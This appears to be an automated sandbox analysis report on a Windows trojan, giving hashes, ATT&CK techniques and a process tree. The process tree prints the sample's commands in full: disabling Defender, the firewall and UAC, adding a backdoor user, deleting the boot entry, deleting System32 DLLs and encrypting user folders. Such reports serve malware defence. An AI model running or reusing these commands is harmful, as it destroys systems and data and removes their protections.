90f93c010845331076853a97a886c913d0c12ca58126ad4f47df51f30a2e4247

Reason

Machine shutdown

General

Target
Trojan.GuestVirus.exe
Size 249KB
Sample241108-th3rcavglj
SHA256 90f93c010845331076853a97a886c913d0c12ca58126ad4f47df51f30a2e4247
MD5 78f4a0bf883ad653ae33050581bec267
SHA1 da91940351de8bb218d1976bc72535522ff15d40
SHA512 e14d497344bfb40bd07a38d78721dbd956ef7ac1c0ddbe466566a759438d00afc6f916555522394180d61b2df29aee17539d931c55667fb8e467c74c0d223bfe
SSDEEP 3072:vUU6sXBcnCr8kg7TWGtfe8jy/O1qPZg6QAaC87rUxUuiWFExYgPFb:IsXikGltm8WIZEGuNEFb
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

bootkit defense_evasion evasion persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1148	netsh.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Modifies boot configuration data using bcdedit 1 IoCs

pid	Process
2736	bcdedit.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	Trojan.GuestVirus.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4392	reg.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1868	Trojan.GuestVirus.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
4660	efsui.exe
4660	efsui.exe
4660	efsui.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
4660	efsui.exe
4660	efsui.exe
4660	efsui.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 1868 wrote to memory of 3952	1868	Trojan.GuestVirus.exe	86
PID 1868 wrote to memory of 3952	1868	Trojan.GuestVirus.exe	86
PID 3952 wrote to memory of 404	3952	cmd.exe	87
PID 3952 wrote to memory of 404	3952	cmd.exe	87
PID 1868 wrote to memory of 3972	1868	Trojan.GuestVirus.exe	88
PID 1868 wrote to memory of 3972	1868	Trojan.GuestVirus.exe	88
PID 3972 wrote to memory of 1148	3972	cmd.exe	89
PID 3972 wrote to memory of 1148	3972	cmd.exe	89
PID 1868 wrote to memory of 1140	1868	Trojan.GuestVirus.exe	91
PID 1868 wrote to memory of 1140	1868	Trojan.GuestVirus.exe	91
PID 1140 wrote to memory of 4392	1140	cmd.exe	92
PID 1140 wrote to memory of 4392	1140	cmd.exe	92
PID 1868 wrote to memory of 1808	1868	Trojan.GuestVirus.exe	93
PID 1868 wrote to memory of 1808	1868	Trojan.GuestVirus.exe	93
PID 1868 wrote to memory of 2760	1868	Trojan.GuestVirus.exe	94
PID 1868 wrote to memory of 2760	1868	Trojan.GuestVirus.exe	94
PID 1868 wrote to memory of 416	1868	Trojan.GuestVirus.exe	95
PID 1868 wrote to memory of 416	1868	Trojan.GuestVirus.exe	95
PID 1868 wrote to memory of 224	1868	Trojan.GuestVirus.exe	96
PID 1868 wrote to memory of 224	1868	Trojan.GuestVirus.exe	96
PID 224 wrote to memory of 4204	224	cmd.exe	97
PID 224 wrote to memory of 4204	224	cmd.exe	97
PID 1808 wrote to memory of 2416	1808	cmd.exe	98
PID 1808 wrote to memory of 2416	1808	cmd.exe	98
PID 2760 wrote to memory of 2736	2760	cmd.exe	99
PID 2760 wrote to memory of 2736	2760	cmd.exe	99
PID 2416 wrote to memory of 220	2416	net.exe	100
PID 2416 wrote to memory of 220	2416	net.exe	100

C:\Users\Admin\AppData\Local\Temp\Trojan.GuestVirus.exe
"C:\Users\Admin\AppData\Local\Temp\Trojan.GuestVirus.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3952
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    PID:404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3972
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1140
- - C:\Windows\system32\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - Modifies registry key
    PID:4392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user TrojanUser0 ComplexPass123! /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1808
- - C:\Windows\system32\net.exe
    net user TrojanUser0 ComplexPass123! /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2416
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user TrojanUser0 ComplexPass123! /add
      4⤵
      PID:220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {current} /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2760
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /F /Q C:\Windows\System32\*.dll
  2⤵
  PID:416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cipher /E /A /S:C:\Users
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:224
- - C:\Windows\system32\cipher.exe
    cipher /E /A /S:C:\Users
    3⤵
    PID:4204